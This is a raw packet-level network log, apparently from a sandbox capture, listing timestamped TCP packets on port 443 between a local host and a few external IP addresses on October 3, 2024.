Oct 3, 2024 17:18:58.760658026 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.760715961 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.760723114 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.760770082 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.763463020 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.763478994 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.763531923 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.763546944 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.763595104 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.763911963 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.763968945 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.763976097 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.763988972 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.764038086 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.764282942 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.764300108 CEST	443	55775	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.764324903 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.764349937 CEST	55775	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.767092943 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.767121077 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.767193079 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.767402887 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.767410994 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.960592031 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.961008072 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.961026907 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.961488008 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.961822033 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.961884022 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.962006092 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.968904018 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.969109058 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.969122887 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.969455957 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.969820976 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.969820976 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:58.969856024 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:58.969908953 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.007394075 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.021220922 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.182729006 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.183104038 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.183119059 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.183598995 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.183963060 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.184056044 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.184144020 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.195909977 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.196141958 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.196165085 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.196515083 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.196825981 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.196882010 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.196949005 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.214723110 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.215029001 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.215045929 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.216090918 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.216170073 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.216501951 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.216546059 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.216649055 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.216655016 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.223283052 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.223480940 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.223490000 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.224457979 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.224684000 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.224710941 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.224977016 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.225034952 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.225364923 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.225440979 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.225496054 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.225502014 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.225766897 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.225836992 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.226110935 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.226166010 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.226241112 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.226248026 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.230468988 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.230684996 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.230699062 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.231398106 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.231753111 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.231813908 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.232070923 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.232130051 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.232187033 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.232192993 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.243393898 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.261202097 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.277201891 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.277204990 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.280128002 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.283689976 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.283761978 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.283813953 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.284620047 CEST	55777	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.284638882 CEST	443	55777	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.286990881 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.287026882 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.287106037 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.287434101 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.287466049 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.287518024 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.287889004 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.287899017 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.288053989 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.288064957 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.292253017 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.293845892 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.293903112 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.294229031 CEST	55778	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.294234037 CEST	443	55778	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.294553041 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.294599056 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.294651985 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.295025110 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.295043945 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.387516975 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.387890100 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.387907028 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.388957977 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.389051914 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.389672041 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.389727116 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.390239000 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.390244961 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.437186956 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.480772018 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.480803013 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.480885029 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.480894089 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.480942965 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.481959105 CEST	55779	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.481976032 CEST	443	55779	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.484761000 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.484801054 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.484877110 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.487035990 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.487046957 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.494388103 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:18:59.494410992 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:18:59.494472027 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:18:59.494728088 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:18:59.494743109 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:18:59.497148037 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:18:59.497235060 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:18:59.497323990 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:18:59.497514963 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:18:59.497539043 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:18:59.497648954 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.497718096 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.497771978 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.498410940 CEST	55780	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.498430967 CEST	443	55780	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.498709917 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.498754025 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.498806953 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.499217033 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.499229908 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.510106087 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.510288954 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.510360956 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.511059999 CEST	55782	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.511070013 CEST	443	55782	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.514749050 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.514834881 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.514899015 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.515604973 CEST	55783	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.515611887 CEST	443	55783	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.533170938 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.533200026 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.533269882 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.533269882 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.533313990 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.544202089 CEST	55781	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.544219017 CEST	443	55781	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604593992 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604670048 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604692936 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604732990 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604746103 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.604772091 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604841948 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.604863882 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.604863882 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.604863882 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.604893923 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.605303049 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:18:59.605417013 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:18:59.605495930 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:18:59.605798960 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:18:59.605839968 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:18:59.606412888 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.606465101 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.606502056 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.606512070 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.606555939 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.649446964 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.649533987 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.649648905 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.649992943 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.650024891 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.662044048 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.693259001 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.693300009 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.693348885 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.693389893 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.693402052 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.693425894 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.693456888 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.693471909 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.694493055 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.694545031 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.694595098 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.694602966 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.694647074 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.694664001 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.696363926 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.696425915 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.696463108 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.696471930 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.696500063 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.696516037 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.698290110 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.698338985 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.698369980 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.698379040 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.698400974 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.698416948 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.778459072 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778486967 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778493881 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778508902 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778548956 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.778568029 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778577089 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.778583050 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.778614998 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.780281067 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.780307055 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.780378103 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.780385017 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.780411005 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.781503916 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.781599998 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.781621933 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.781663895 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.781704903 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.781753063 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.784045935 CEST	55784	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.784065008 CEST	443	55784	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.822007895 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.866894960 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.866918087 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.866977930 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.867005110 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.867018938 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.867041111 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.868510008 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.868525982 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.868583918 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.868593931 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.868633032 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.870640039 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.870657921 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.870733976 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.870742083 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.870783091 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.953183889 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.953521013 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.953552961 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.953979015 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.954051018 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.954247952 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.954267025 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.954554081 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.954585075 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.954660892 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.954919100 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.954965115 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.955127954 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.955230951 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.955499887 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.955710888 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.955744028 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.956032991 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.956370115 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.956418991 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.956511021 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.963953018 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.964020014 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.964039087 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.964054108 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.964196920 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.965363979 CEST	55785	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:18:59.965379953 CEST	443	55785	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.995393991 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.995405912 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:18:59.999401093 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.126228094 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.126545906 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.126570940 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.128160954 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.128232956 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.128576040 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.128663063 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.128782034 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.128787994 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.144663095 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.144954920 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.144977093 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.145375967 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.145823002 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.145883083 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.146037102 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.170249939 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.187423944 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.207990885 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.221235037 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.256109953 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.256304979 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.256370068 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.256958008 CEST	55787	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.256978989 CEST	443	55787	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.258719921 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.258900881 CEST	443	55786	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.258949041 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.259237051 CEST	55786	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.259248018 CEST	443	55786	38.180.68.202	192.168.2.17
